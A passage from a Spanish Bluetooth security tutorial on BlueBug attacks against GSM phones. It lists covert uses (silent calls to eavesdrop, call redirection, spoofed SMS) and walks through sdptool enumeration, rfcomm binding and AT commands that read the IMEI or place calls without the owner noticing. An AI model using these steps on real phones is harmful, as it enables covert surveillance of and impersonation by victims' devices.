4.2 Ataques BlueBug con comandos ATDespués de haber visto toda la teoría referente a la estructura del protocolo Bluetooth y, habiéndonos centrado en lo relativo a la Seguridad, a continuación pasamos a documentar algunas técnicas, herramientas y aplicaciones basadas en la inserción de comandos AT que permiten llevar a la práctica aspectos de la Inseguridad en Bluetooth.
Estos ataques crean una conexión al dispositivo, dando acceso completo al comando de configuración AT.
Nos permiten básicamente las posibilidades de:
- Control de las llamadas.
- Mandar/leer/borrar SMS.
- Leer/grabar entradas de la agenda.
- Desviar/realizar llamadas de voz/datos.
Por ejemplo, podríamos espiar las conversaciones mantenidas en una reunión. Haciendo que el teléfono de la victima realice una llamada silenciosa a nuestro teléfono, o a cualquier teléfono de cualquier parte del mundo, creamos un canal de comunicación vía GSM que nos permitirá escuchar toda la conversación de la reunión.
Podríamos también instalar una pasarela en el teléfono de la victima, redirigiendo sus llamadas a nuestro teléfono, teniendo así la posibilidad de escuchar y grabar sus conversaciones sin su conocimiento. O podríamos mandar un SMS desde nuestra Laptop a través de su teléfono, haciendole creer al destinatario que los mando la victima. Es posible incluso hacer que el mensaje no se grabe en enviados
Todo esto es debido a que la implementación de los mecanismos de seguridad suele ser muy pobre. Además contamos con varios servicios no documentados o abiertos en los canales RFCOMM.
Hemos dividido esta parte de ataques Bluebug en varios escenarios distintos.
Para cada uno de los distintos escenarios, hemos documentado varios ataques que hacen uso de técnicas y herramientas que permiten explotar vulnerabilidades en teléfonos móviles GSM desde diferentes plataformas: PC, teléfono móvil y PDA.
Por supuesto, previamente al ataque debe tener lugar la detección, scaneado y enumeración de dispositivos Bluetooth en el ámbito de acción del atacante, con el fin de conocer más el sistema a comprometer.
4.2.1. Escenario 1. Desde PC [Linux] El ataque que se va a documentar a continuación tiene lugar en el siguiente escenario:
•
Plataforma atacante: Distribución Linux, en este caso Ubuntu, y adaptador BlueTooth.
•
Plataforma comprometida: Un teléfono móvil que incorpore Bluetooth.
Recordamos que en dispositivos para el PC, sin ninguna modificación en el hardware, la distancia máxima aproximada será de 100 m.
Hemos elegido este modelo porque lo tiene mucha gente y lo que se trata es de poder llevar a la práctica la teoría.
Quede constancia de que en principio la Ngage no es vulnerable, o así viene definida por el fabricante y no hemos encontrado documentación que la catalogue entre los dispositivos vulnerables.
Aún así, hemos podido constatar que no está tan protegida como se cree.
Puede que vuestra Ngage no sea vulnerable a alguno/s de los bugs comentados en este capítulo, ya que depende mayormente del firmware y puede que ya este parcheada.
4.2.1.1. Requisitos previos. Lo primero sería conectar nuestro adaptador Bluetooth USB al PC y activar el Bluetooth de nuestra Ngage en modo NO oculto o visible.
4.2.1.2 Obtener los canales de transmisión. Como venimos explicando anteriormente, tenemos que realizar una detección de datos del dispositivo a atacar. Vamos a comprobar que canales del protocolo RFCOMM usa nuestra Ngage para transmitir datos mediante Bluetooth.
Para ello necesitaremos instalar los siguientes paquetes en nuestro Linux:
• Bluez-utils
• Bluez-pin
Una vez instalados estos paquetes hacemos un escaneo de dispositivos para comprobar que detectamos la Ngage. Para ello abrimos un terminal en Linux, nos identificamos como root y tecleamos:
Esto nos devolverá algo parecido a:
Scanning ...
00:60:57:D0:F9:15 Ngage
Lo que quiere decir que ha detectado un dispositivo con Bluetooth llamado Ngage y su dirección Mac es 00:60:57:D0:F9:15.
Una vez que sabemos la Mac de nuestra Ngage podemos usar la utilidad
sdptool para obtener datos sobre el móvil. La sintaxis de esta utilidad es:
Al usar este comando la respuesta que nos mostrara será algo como esto:
zaerik@ubuntu:~ $ sdptool browse 00:60:57:D0:F9:15
Browsing 00:60:57:D0:F9:15 ...
Service Name: Fax
Service RecHandle: 0x10000
Service Class ID List:
"Fax" (0x1111)
"Generic Telephony" (0x1204)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Fax" (0x1111)
Version: 0x0100
Service Name: Dial-up Networking
Service RecHandle: 0x10001
Service Class ID List:
"Dialup Networking" (0x1103)
"Generic Networking" (0x1201)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Dialup Networking" (0x1103)
Version: 0x0100
Service Name: Bluetooth Serial Port
Service Description: Bluetooth Serial Port
Service Provider: Symbian Ltd.
Service RecHandle: 0x10004
Service Class ID List:
"Serial Port" (0x1101)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Service Name: OBEX Object Push
Service RecHandle: 0x10005
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100
Service Name: OBEX File Transfer
Service RecHandle: 0x10006
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 10
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100
Service Name: Handsfree Audio Gateway
Service RecHandle: 0x10007
Service Class ID List:
"" (0x111f)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 2
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"" (0x111e)
Version: 0x0100
Lo que quiere decir que nuestra Ngage tiene activos los canales 1,2, 3, 9 y 10 del rfcomm para transmitir datos mediante Bluetooth emulando una conexión RS232.
Bien, vamos a recordar algo más sobre la pila de protocolos de BlueTooth.
El RFCOMM nos permite una emulación de cable serie RS-232 entre dispositivos. Podemos conectar varias decenas de dispositivos entre sí, mediante diferentes conexiones a RFCOMM.
Como vemos en el gráfico, los comandos AT van hacia el L2CAP a través de los canales del RFCOMM, al igual que los comandos del OBEX y demás, por eso tenemos diferentes canales que nos dan diferentes funcionalidades.
4.2.1.3. Comandos AT en la Ngage Hay muchos mas comandos AT, pero en las pruebas solo nos aceptaba algunos (es como si estuviese parcheada contra ciertas cosas), quizás si tenéis una Ngage con un firmware diferente al de las pruebas consigáis algo mas.
Para este apartado necesitaremos instalar los siguientes paquetes:
• rfcomm
• cu
4.2.1.4. Enlazar rfcomm1 con la Mac de la Ngage por el canal 1. Como hemos visto, el canal que a priori van a permitirnos hacer llamadas y cosas de telefonía es el 1, "Generic Telephony".
Abrimos una terminal como root y ejecutamos el comando:
rfcomm bind /dev/rfcomm1 <Mac> 1
4.2.1.5 Conectamos a rfcomm1 para poder enviar comandos AT Ahora abrimoss un terminal como usuario normal y ejecutamos el comando:
Entonces la Ngage nos pedirá un PIN para conectar con el PC, y escribimos un numero cualquiera, ahora nos pedirá el PIN en el PC y escribimos el mismo código con lo que en la Ngage nos aparecerá un mensaje confirmando que aceptamos la conexión con el PC.
Cuando aparezca este mensaje pulsamos la opción Si.
Ahora en el terminal de Linux nos aparecerá algo así
Y ahí podremos escribir directamente los comandos AT que ejecutaran diferentes acciones en la Ngage.
4.2.1.6 Obtener información básica de la Ngage En el terminal anterior simplemente escribimos los siguientes comandos AT:
• ATI - Devuelve la marca del móvil.
• AT+CGMM – Devuelve modelo de móvil.
• AT+CGMR – Devuelve la versión del firmware de nuestro móvil.
Estos comandos no mostraran nada en la Ngage, es decir el dueño no se dara cuenta de lo que estamos haciendo.
4.2.1.7. Obtener Imei Para esto se usa el siguiente comando AT:
• AT+CGSN
Este comando tampoco mostrara nada en la Ngage.
4.2.1.8 Hacer que llame al número que nosotros queramos Hasta aquí todo parece de lo más normal y poco peligroso, pero ahora veremos como nos permite hacer una llamada desde el PC através de móvil.
Para esto se usa los siguientes comandos AT:
• ATD12345 – Este comando hara que la Ngage haga una llamada de datos al numero “12345”.
• ATD12345; – Este comando hara que la Ngage haga una llamada de voz al numero “12345”.
En la Ngage veremos esto:
Llamada de datos
Llamada de voz
4.2.1.9 Otros comandos AT Por ultimo decir que además de los comandos AT que hemos usado en los tres últimos puntos hay muchos más, lo que pasa es que no todos son aceptados por la Ngage, puede que vuestra Ngage acepte mas comandos AT, ya que esto depende de la versión de firmware que tenga. Si queréis probar mas comandos AT os recomiendo que os leáis el punto del taller Bluetooth donde se habla de ellos.